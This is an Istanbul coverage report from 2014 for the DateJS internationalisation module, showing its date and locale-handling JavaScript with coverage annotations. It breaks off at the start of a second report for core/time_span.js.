<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-yes">160</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">321</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">637</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">159</span>
<span class="cline-any cline-yes">159</span>
<span class="cline-any cline-yes">157</span>
<span class="cline-any cline-yes">157</span>
<span class="cline-any cline-yes">157</span>
<span class="cline-any cline-yes">157</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">158</span>
<span class="cline-any cline-yes">158</span>
<span class="cline-any cline-yes">158</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">158</span>
<span class="cline-any cline-yes">156</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-no">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">2</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-neutral">&nbsp;</span>
<span class="cline-any cline-yes">1</span>
<span class="cline-any cline-neutral">&nbsp;</span></td><td class="text"><pre class="prettyprint lang-js">(function () {
	var $D = Date;
	var lang = Date.CultureStrings ? <span class="branch-0 cbranch-no" title="branch not covered" >Date.CultureStrings.lang </span>: null;
	var loggedKeys = {}; // for debug purposes.
	var getText = {
		getFromKey: function (key, countryCode) {
			var output;
			if (Date.CultureStrings &amp;&amp; Date.CultureStrings[countryCode] &amp;&amp; Date.CultureStrings[countryCode][key]) {
				output = Date.CultureStrings[countryCode][key];
			} else {
				output = getText.buildFromDefault(key);
			}
			if (key.charAt(0) === "/") { // Assume it's a regex
				output = getText.buildFromRegex(key, countryCode);
			}
			return output;
		},
		getFromObjectValues: function (obj, countryCode) {
			var key, output = {};
			for(key in obj) {
				<span class="missing-if-branch" title="else path not taken" >E</span>if (obj.hasOwnProperty(key)) {
					output[key] = getText.getFromKey(obj[key], countryCode);
				}
			}
			return output;
		},
		getFromObjectKeys: function (obj, countryCode) {
			var key, output = {};
			for(key in obj) {
				<span class="missing-if-branch" title="else path not taken" >E</span>if (obj.hasOwnProperty(key)) {
					output[getText.getFromKey(key, countryCode)] = obj[key];
				}
			}
			return output;
		},
		getFromArray: function (arr, countryCode) {
			var output = [];
			for (var i=0; i &lt; arr.length; i++){
				<span class="missing-if-branch" title="else path not taken" >E</span>if (i in arr) {
					output[i] = getText.getFromKey(arr[i], countryCode);
				}
			}
			return output;
		},
		buildFromDefault: function (key) {
			var output, length, split, last;
			switch(key) {
				case "name":
					output = "en-US";
					break;
				case "englishName":
					output = "English (United States)";
					break;
				case "nativeName":
					output = "English (United States)";
					break;
				case "twoDigitYearMax":
					output = 2049;
					break;
				case "firstDayOfWeek":
					output = 0;
					break;
				default:
					output = key;
					split = key.split("_");
					length = split.length;
					if (length &gt; 1 &amp;&amp; key.charAt(0) !== "/") {
						// if the key isn't a regex and it has a split.
						last = split[(length - 1)].toLowerCase();
						<span class="missing-if-branch" title="else path not taken" >E</span>if (last === "initial" || last === "abbr") {
							output = split[0];
						}
					}
					break;
			}
			return output;
		},
		buildFromRegex: function (key, countryCode) {
			var output;
			if (Date.CultureStrings &amp;&amp; Date.CultureStrings[countryCode] &amp;&amp; Date.CultureStrings[countryCode][key]) {
				output = new RegExp(Date.CultureStrings[countryCode][key], "i");
			} else {
				output = new RegExp(key.replace(new RegExp("/", "g"),""), "i");
			}
			return output;
		}
	};
&nbsp;
	var shallowMerge = function (obj1, obj2) {
		for (var attrname in obj2) {
			<span class="missing-if-branch" title="else path not taken" >E</span>if (obj2.hasOwnProperty(attrname)) {
				obj1[attrname] = obj2[attrname];
			}
		}
	};
&nbsp;
	var __ = function (key, language) {
		var countryCode = (language) ? <span class="branch-0 cbranch-no" title="branch not covered" >language </span>: lang;
		loggedKeys[key] = key;
		if (typeof key === "object") {
			if (key instanceof Array) {
				return getText.getFromArray(key, countryCode);
			} else {
				return getText.getFromObjectKeys(key, countryCode);
			}
		} else {
			return getText.getFromKey(key, countryCode);
		}
	};
	
	var loadI18nScript = function (code) {
		// paatterned after jQuery's getScript.
		var url = Date.Config.i18n + code + ".js";
		var head = document.getElementsByTagName("head")[0] || <span class="branch-1 cbranch-no" title="branch not covered" >document.documentElement;</span>
		var script = document.createElement("script");
		script.src = url;
&nbsp;
		var completed = false;
		var events = {
			done: <span class="fstat-no" title="function not covered" >function (){</span>} // placeholder function
		};
		// Attach handlers for all browsers
		script.onload = script.onreadystatechange = function() {
			<span class="missing-if-branch" title="else path not taken" >E</span>if ( !completed &amp;&amp; (!this.readyState || <span class="branch-2 cbranch-no" title="branch not covered" >this.readyState === "loaded" </span>|| <span class="branch-3 cbranch-no" title="branch not covered" >this.readyState === "complete")</span> ) {
				events.done();
				head.removeChild(script);
			}
		};
&nbsp;
		setTimeout(function() {
			head.insertBefore(script, head.firstChild);
		}, 0); // allows return to execute first
		
		return {
			done: function (cb) {
				events.done = function() {
					<span class="missing-if-branch" title="else path not taken" >E</span>if (cb) {
						setTimeout(cb,0);
					}
				};
			}
		};
	};
&nbsp;
	var buildInfo = {
		buildFromMethodHash: function (obj) {
			var key;
			for(key in obj) {
				<span class="missing-if-branch" title="else path not taken" >E</span>if (obj.hasOwnProperty(key)) {
					obj[key] = buildInfo[obj[key]]();
				}
			}
			return obj;
		},
		timeZoneDST: function () {
			var DST = {
				"CHADT": "+1345",
				"NZDT": "+1300",
				"AEDT": "+1100",
				"ACDT": "+1030",
				"AZST": "+0500",
				"IRDT": "+0430",
				"EEST": "+0300",
				"CEST": "+0200",
				"BST": "+0100",
				"PMDT": "-0200",
				"ADT": "-0300",
				"NDT": "-0230",
				"EDT": "-0400",
				"CDT": "-0500",
				"MDT": "-0600",
				"PDT": "-0700",
				"AKDT": "-0800",
				"HADT": "-0900"
			};
			return __(DST);
		},
		timeZoneStandard: function () {
			var standard = {
				"LINT": "+1400",
				"TOT": "+1300",
				"CHAST": "+1245",
				"NZST": "+1200",
				"NFT": "+1130",
				"SBT": "+1100",
				"AEST": "+1000",
				"ACST": "+0930",
				"JST": "+0900",
				"CWST": "+0845",
				"CT": "+0800",
				"ICT": "+0700",
				"MMT": "+0630",
				"BST": "+0600",
				"NPT": "+0545",
				"IST": "+0530",
				"PKT": "+0500",
				"AFT": "+0430",
				"MSK": "+0400",
				"IRST": "+0330",
				"FET": "+0300",
				"EET": "+0200",
				"CET": "+0100",
				"GMT": "+0000",
				"UTC": "+0000",
				"CVT": "-0100",
				"GST": "-0200",
				"BRT": "-0300",
				"NST": "-0330",
				"AST": "-0400",
				"EST": "-0500",
				"CST": "-0600",
				"MST": "-0700",
				"PST": "-0800",
				"AKST": "-0900",
				"MIT": "-0930",
				"HST": "-1000",
				"SST": "-1100",
				"BIT": "-1200"
			};
			return __(standard);
		},
		timeZones: function (data) {
			var zone;
			data.timezones = [];
			for (zone in data.abbreviatedTimeZoneStandard) {
				<span class="missing-if-branch" title="else path not taken" >E</span>if (data.abbreviatedTimeZoneStandard.hasOwnProperty(zone)) {
					data.timezones.push({ name: zone, offset: data.abbreviatedTimeZoneStandard[zone]});
				}
			}
			for (zone in data.abbreviatedTimeZoneDST) {
				<span class="missing-if-branch" title="else path not taken" >E</span>if (data.abbreviatedTimeZoneDST.hasOwnProperty(zone)) {
					data.timezones.push({ name: zone, offset: data.abbreviatedTimeZoneDST[zone], dst: true});
				}
			}
			return data.timezones;
		},
		days: function () {
			return __(["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"]);
		},
		dayAbbr: function () {
			return __(["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"]);
		},
		dayShortNames: function () {
			return __(["Su", "Mo", "Tu", "We", "Th", "Fr", "Sa"]);
		},
		dayFirstLetters: function () {
			return __(["S_Sun_Initial", "M_Mon_Initial", "T_Tues_Initial", "W_Wed_Initial", "T_Thu_Initial", "F_Fri_Initial", "S_Sat_Initial"]);
		},
		months: function () {
			return __(["January", "February", "March", "April", "May", "June", "July", "August", "September", "October", "November", "December"]);
		},
		monthAbbr: function () {
			return __(["Jan_Abbr", "Feb_Abbr", "Mar_Abbr", "Apr_Abbr", "May_Abbr", "Jun_Abbr", "Jul_Abbr", "Aug_Abbr", "Sep_Abbr", "Oct_Abbr", "Nov_Abbr", "Dec_Abbr"]);
		},
		formatPatterns: function () {
			return getText.getFromObjectValues({
				shortDate: "M/d/yyyy",
				longDate: "dddd, MMMM dd, yyyy",
				shortTime: "h:mm tt",
				longTime: "h:mm:ss tt",
				fullDateTime: "dddd, MMMM dd, yyyy h:mm:ss tt",
				sortableDateTime: "yyyy-MM-ddTHH:mm:ss",
				universalSortableDateTime: "yyyy-MM-dd HH:mm:ssZ",
				rfc1123: "ddd, dd MMM yyyy HH:mm:ss",
				monthDay: "MMMM dd",
				yearMonth: "MMMM, yyyy"
			}, Date.i18n.currentLanguage());
		},
		regex: function () {
			return getText.getFromObjectValues({
				inTheMorning: "/( in the )(morn(ing)?)\\b/",
				thisMorning: "/(this )(morn(ing)?)\\b/",
				amThisMorning: "/(\b\\d(am)? )(this )(morn(ing)?)/",
				inTheEvening: "/( in the )(even(ing)?)\\b/",
				thisEvening: "/(this )(even(ing)?)\\b/",
				pmThisEvening: "/(\b\\d(pm)? )(this )(even(ing)?)/",
				jan: "/jan(uary)?/",
				feb: "/feb(ruary)?/",
				mar: "/mar(ch)?/",
				apr: "/apr(il)?/",
				may: "/may/",
				jun: "/jun(e)?/",
				jul: "/jul(y)?/",
				aug: "/aug(ust)?/",
				sep: "/sep(t(ember)?)?/",
				oct: "/oct(ober)?/",
				nov: "/nov(ember)?/",
				dec: "/dec(ember)?/",
				sun: "/^su(n(day)?)?/",
				mon: "/^mo(n(day)?)?/",
				tue: "/^tu(e(s(day)?)?)?/",
				wed: "/^we(d(nesday)?)?/",
				thu: "/^th(u(r(s(day)?)?)?)?/",
				fri: "/fr(i(day)?)?/",
				sat: "/^sa(t(urday)?)?/",
				future: "/^next/",
				past: "/^last|past|prev(ious)?/",
				add: "/^(\\+|aft(er)?|from|hence)/",
				subtract: "/^(\\-|bef(ore)?|ago)/",
				yesterday: "/^yes(terday)?/",
				today: "/^t(od(ay)?)?/",
				tomorrow: "/^tom(orrow)?/",
				now: "/^n(ow)?/",
				millisecond: "/^ms|milli(second)?s?/",
				second: "/^sec(ond)?s?/",
				minute: "/^mn|min(ute)?s?/",
				hour: "/^h(our)?s?/",
				week: "/^w(eek)?s?/",
				month: "/^m(onth)?s?/",
				day: "/^d(ay)?s?/",
				year: "/^y(ear)?s?/",
				shortMeridian: "/^(a|p)/",
				longMeridian: "/^(a\\.?m?\\.?|p\\.?m?\\.?)/",
				timezone: "/^((e(s|d)t|c(s|d)t|m(s|d)t|p(s|d)t)|((gmt)?\\s*(\\+|\\-)\\s*\\d\\d\\d\\d?)|gmt|utc)/",
				ordinalSuffix: "/^\\s*(st|nd|rd|th)/",
				timeContext: "/^\\s*(\\:|a(?!u|p)|p)/"
			}, Date.i18n.currentLanguage());
		}
	};
&nbsp;
	var CultureInfo = function () {
		var info = getText.getFromObjectValues({
			name: "name",
			englishName: "englishName",
			nativeName: "nativeName",
			amDesignator: "AM",
			pmDesignator: "PM",
			firstDayOfWeek: "firstDayOfWeek",
			twoDigitYearMax: "twoDigitYearMax",
			dateElementOrder: "mdy"
		}, Date.i18n.currentLanguage());
&nbsp;
		var constructedInfo = buildInfo.buildFromMethodHash({
			dayNames: "days",
			abbreviatedDayNames: "dayAbbr",
			shortestDayNames: "dayShortNames",
			firstLetterDayNames: "dayFirstLetters",
			monthNames: "months",
			abbreviatedMonthNames: "monthAbbr",
			formatPatterns: "formatPatterns",
			regexPatterns: "regex",
			abbreviatedTimeZoneDST: "timeZoneDST",
			abbreviatedTimeZoneStandard: "timeZoneStandard"
		});
&nbsp;
		shallowMerge(info, constructedInfo);
		buildInfo.timeZones(info);
		return info;
	};
&nbsp;
	$D.i18n = {
		__: function (key, lang) {
			return __(key, lang);
		},
		currentLanguage: function () {
			return lang || "en-US";
		},
		setLanguage: function (code, force, cb) {
			var async = false;
			if (force || code === "en-US" || (!!Date.CultureStrings &amp;&amp; !!Date.CultureStrings[code])) {
				lang = code;
				Date.CultureStrings = Date.CultureStrings || <span class="branch-1 cbranch-no" title="branch not covered" >{};</span>
				Date.CultureStrings.lang = code;
				Date.CultureInfo = new CultureInfo();
			} else {
				<span class="missing-if-branch" title="else path not taken" >E</span>if (!(!!Date.CultureStrings &amp;&amp; !!Date.CultureStrings[code])) {
					<span class="missing-if-branch" title="if path not taken" >I</span>if (typeof exports !== "undefined" &amp;&amp; <span class="branch-1 cbranch-no" title="branch not covered" >this.exports !== exports)</span> {
						// we're in a Node enviroment, load it using require
<span class="cstat-no" title="statement not covered" >						try {</span>
<span class="cstat-no" title="statement not covered" >							require("../i18n/" + code + ".js");</span>
<span class="cstat-no" title="statement not covered" >							lang = code;</span>
<span class="cstat-no" title="statement not covered" >							Date.CultureStrings.lang = code;</span>
<span class="cstat-no" title="statement not covered" >							Date.CultureInfo = new CultureInfo();</span>
						} catch (e) {
							// var str = "The language for '" + code + "' could not be loaded by Node. It likely does not exist.";
<span class="cstat-no" title="statement not covered" >							throw new Error("The DateJS IETF language tag '" + code + "' could not be loaded by Node. It likely does not exist.");</span>
						}
					} else if (Date.Config &amp;&amp; Date.Config.i18n) {
						// we know the location of the files, so lets load them					
						async = true;
						loadI18nScript(code).done(function(){
							lang = code;
							Date.CultureStrings = Date.CultureStrings || <span class="branch-1 cbranch-no" title="branch not covered" >{};</span>
							Date.CultureStrings.lang = code;
							Date.CultureInfo = new CultureInfo();
							$D.Parsing.Normalizer.buildReplaceData(); // because this is async
							<span class="missing-if-branch" title="else path not taken" >E</span>if ($D.Grammar) {
								$D.Grammar.buildGrammarFormats(); // so we can parse those strings...
							}
							<span class="missing-if-branch" title="else path not taken" >E</span>if (cb) {
								setTimeout(cb,0);
							}
						});
					} else {
						Date.console.error("The DateJS IETF language tag '" + code + "' is not available and has not been loaded.");
						return false;
					}
				}
			}
			$D.Parsing.Normalizer.buildReplaceData(); // rebuild normalizer strings
			<span class="missing-if-branch" title="else path not taken" >E</span>if ($D.Grammar) {
				$D.Grammar.buildGrammarFormats(); // so we can parse those strings...
			}
			if (!async &amp;&amp; cb) {
				setTimeout(cb,0);
			}
		},
		getLoggedKeys: <span class="fstat-no" title="function not covered" >function () {</span>
<span class="cstat-no" title="statement not covered" >			return loggedKeys;</span>
		},
		updateCultureInfo: function () {
			Date.CultureInfo = new CultureInfo();
		}
	};
	$D.i18n.updateCultureInfo(); // run automatically
}());</pre></td></tr>
</table></pre>

</div>
<div class="footer">
    <div class="meta">Generated by <a href="http://istanbul-js.org/" target="_blank">istanbul</a> at Sun Nov 16 2014 12:08:33 GMT-0800 (PST)</div>
</div>

<script src="../prettify.js"></script>

<script src="https://yui-s.yahooapis.com/3.6.0/build/yui/yui-min.js"></script>
<script>

    YUI().use('datatable', function (Y) {

        var formatters = {
          pct: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              try {
                  return o.value.toFixed(2) + '%';
              } catch (ex) { return o.value + '%'; }
          },
          html: function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.record.get(o.column.key + '_html');
          }
        },
          defaultFormatter = function (o) {
              o.className += o.record.get('classes')[o.column.key];
              return o.value;
          };

        function getColumns(theadNode) {
            var colNodes = theadNode.all('tr th'),
                cols = [],
                col;
            colNodes.each(function (colNode) {
                col = {
                    key: colNode.getAttribute('data-col'),
                    label: colNode.get('innerHTML') || ' ',
                    sortable: !colNode.getAttribute('data-nosort'),
                    className: colNode.getAttribute('class'),
                    type: colNode.getAttribute('data-type'),
                    allowHTML: colNode.getAttribute('data-html') === 'true' || colNode.getAttribute('data-fmt') === 'html'
                };
                col.formatter = formatters[colNode.getAttribute('data-fmt')] || defaultFormatter;
                cols.push(col);
            });
            return cols;
        }

        function getRowData(trNode, cols) {
            var tdNodes = trNode.all('td'),
                    i,
                    row = { classes: {} },
                    node,
                    name;
            for (i = 0; i < cols.length; i += 1) {
                name = cols[i].key;
                node = tdNodes.item(i);
                row[name] = node.getAttribute('data-value') || node.get('innerHTML');
                row[name + '_html'] = node.get('innerHTML');
                row.classes[name] = node.getAttribute('class');
                //Y.log('Name: ' + name + '; Value: ' + row[name]);
                if (cols[i].type === 'number') { row[name] = row[name] * 1; }
            }
            //Y.log(row);
            return row;
        }

        function getData(tbodyNode, cols) {
            var data = [];
            tbodyNode.all('tr').each(function (trNode) {
                data.push(getRowData(trNode, cols));
            });
            return data;
        }

        function replaceTable(node) {
            if (!node) { return; }
            var cols = getColumns(node.one('thead')),
                data = getData(node.one('tbody'), cols),
                table,
                parent = node.get('parentNode');

            table = new Y.DataTable({
                columns: cols,
                data: data,
                sortBy: 'file'
            });
            parent.set('innerHTML', '');
            table.render(parent);
        }

        Y.on('domready', function () {
            replaceTable(Y.one('div.coverage-summary table'));
            if (typeof prettyPrint === 'function') {
                prettyPrint();
            }
        });
    });
</script>
</body>
</html>
time_span.js.html000066600000075577152444006550010062 0ustar00<!doctype html>
<html lang="en">
<head>
    <title>Code coverage report for core/time_span.js</title>
    <meta charset="utf-8">

    <link rel="stylesheet" href="../prettify.css">

    <style>
        body, html {
            margin:0; padding: 0;
        }
        body {
            font-family: Helvetica Neue, Helvetica,Arial;
            font-size: 10pt;
        }
        div.header, div.footer {
            background: #eee;
            padding: 1em;
        }
        div.header {
            z-index: 100;
            position: fixed;
            top: 0;
            border-bottom: 1px solid #666;
            width: 100%;
        }
        div.footer {
            border-top: 1px solid #666;
        }
        div.body {
            margin-top: 10em;
        }
        div.meta {
            font-size: 90%;
            text-align: center;
        }
        h1, h2, h3 {
            font-weight: normal;
        }
        h1 {
            font-size: 12pt;
        }
        h2 {
            font-size: 10pt;
        }
        pre {
            font-family: Consolas, Menlo, Monaco, monospace;
            margin: 0;
            padding: 0;
            line-height: 14px;
            font-size: 14px;
            -moz-tab-size: 2;
            -o-tab-size:  2;
            tab-size: 2;
        }

        div.path { font-size: 110%; }
        div.path a:link, div.path a:visited { color: #000; }
        table.coverage { border-collapse: collapse; margin:0; padding: 0 }

        table.coverage td {
            margin: 0;
            padding: 0;
            color: #111;
            vertical-align: top;
        }
        table.coverage td.line-count {
            width: 50px;
            text-align: right;
            padding-right: 5px;
        }
        table.coverage td.line-coverage {
            color: #777 !important;
            text-align: right;
            border-left: 1px solid #666;
            border-right: 1px solid #666;
        }

        table.coverage td.text {
        }

        table.coverage td span.cline-any {
            display: inline-block;
            padding: 0 5px;
            width: 40px;
        }
        table.coverage td span.cline-neutral {
            background: #eee;
        }
        table.coverage td span.cline-yes {
            background: #b5d592;
            color: #999;
        }
        table.coverage td span.cline-no {
            background: #fc8c84;
        }

        .cstat-yes { color: #111; }
        .cstat-no { background: #fc8c84; color: #111; }
        .fstat-no { background: #ffc520; color: #111 !important; }
        .cbranch-no { background:  yellow !important; color: #111; }

        .cstat-skip { background: #ddd; color: #111; }
        .fstat-skip { background: #ddd; color: #111 !important; }
        .cbranch-skip { background: #ddd !important; color: #111; }

        .missing-if-branch {
            display: inline-block;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: black;
            color: yellow;
        }

        .skip-if-branch {
            display: none;
            margin-right: 10px;
            position: relative;
            padding: 0 4px;
            background: #ccc;
            color: white;
        }

        .missing-if-branch .typ, .skip-if-branch .typ {
            color: inherit !important;
        }

        .entity, .metric { font-weight: bold; }
        .metric { display: inline-block; border: 1px solid #333; padding: 0.3em; background: white; }
        .metric small { font-size: 80%; font-weight: normal; color: #666; }

        div.coverage-summary table { border-collapse: collapse; margin: 3em; font-size: 110%; }
        div.coverage-summary td, div.coverage-summary table  th { margin: 0; padding: 0.25em 1em; border-top: 1px solid #666; border-bottom: 1px solid #666; }
        div.coverage-summary th { text-align: left; border: 1px solid #666; background: #eee; font-weight: normal; }
        div.coverage-summary th.file { border-right: none !important; }
        div.coverage-summary th.pic { border-left: none !important; text-align: right; }
        div.coverage-summary th.pct { border-right: none !important; }
        div.coverage-summary th.abs { border-left: none !important; text-align: right; }
        div.coverage-summary td.pct { text-align: right; border-left: 1px solid #666; }
        div.coverage-summary td.abs { text-align: right; font-size: 90%; color: #444; border-right: 1px solid #666; }
        div.coverage-summary td.file { text-align: right; border-left: 1px solid #666; white-space: nowrap;  }
        div.coverage-summary td.pic { min-width: 120px !important;  }
        div.coverage-summary a:link { text-decoration: none; color: #000; }
        div.coverage-summary a:visited { text-decoration: none; color: #333; }
        div.coverage-summary a:hover { text-decoration: underline; }
        div.coverage-summary tfoot td { border-top: 1px solid #666; }

        div.coverage-summary .yui3-datatable-sort-indicator, div.coverage-summary .dummy-sort-indicator {
            height: 10px;
            width: 7px;
            display: inline-block;
            margin-left: 0.5em;
        }
        div.coverage-summary .yui3-datatable-sort-indicator {
            background: url("https://yui-s.yahooapis.com/3.6.0/build/datatable-sort/assets/skins/sam/sort-arrow-sprite.png") no-repeat scroll 0 0 transparent;
        }
        div.coverage-summary .yui3-datatable-sorted .yui3-datatable-sort-indicator {
            background-position: 0 -20px;
        }
        div.coverage-summary .yui3-datatable-sorted-desc .yui3-datatable-sort-indicator {
            background-position: 0 -10px;
        }

        .high { background: #b5d592 !important; }
        .medium { background: #ffe87c !important; }
        .low { background: #fc8c84 !important; }

        span.cover-fill, span.cover-empty {
            display:inline-block;
            border:1px solid #444;
            background: white;
            height: 12px;
        }
        span.cover-fill {
            background: #ccc;
            border-right: 1px solid #444;
        }
        span.cover-empty {
            background: white;
            border-left: none;
        }
        span.cover-full {
            border-right: none !important;
        }
        pre.prettyprint {
            border: none !important;
            padding: 0 !important;
            margin: 0 !important;
        }
        .com { color: #999 !important; }
        .ignore-none { color: #999; font-weight: normal; }

    </style>
</head>
<body>
<div class="header low">
    <h1>Code coverage report for <span class="entity">core/time_span.js</span></h1>
    <h2>
        
        Statements: <span class="metric">20.65% <small>(19 / 92)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Branches: <span class="metric">1.72% <small>(1 / 58)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Functions: <span class="metric">16% <small>(4 / 25)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        
        Lines: <span class="metric">20.65% <small>(19 / 92)</small></span> &nbsp;&nbsp;&nbsp;&nbsp;
        
        Ignored: <span class="metric"><span class="ignore-none">none</span></span> &nbsp;&nbsp;&nbsp;&nbsp;
    </h2>
    <div class="path"><a href="../index.html">All files</a> &#187; <a href="index.html">core/</a> &#187; time_span.js</div>
</div>
<div class="body">
<pre><table class="coverage">
<tr><td class="line-count">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
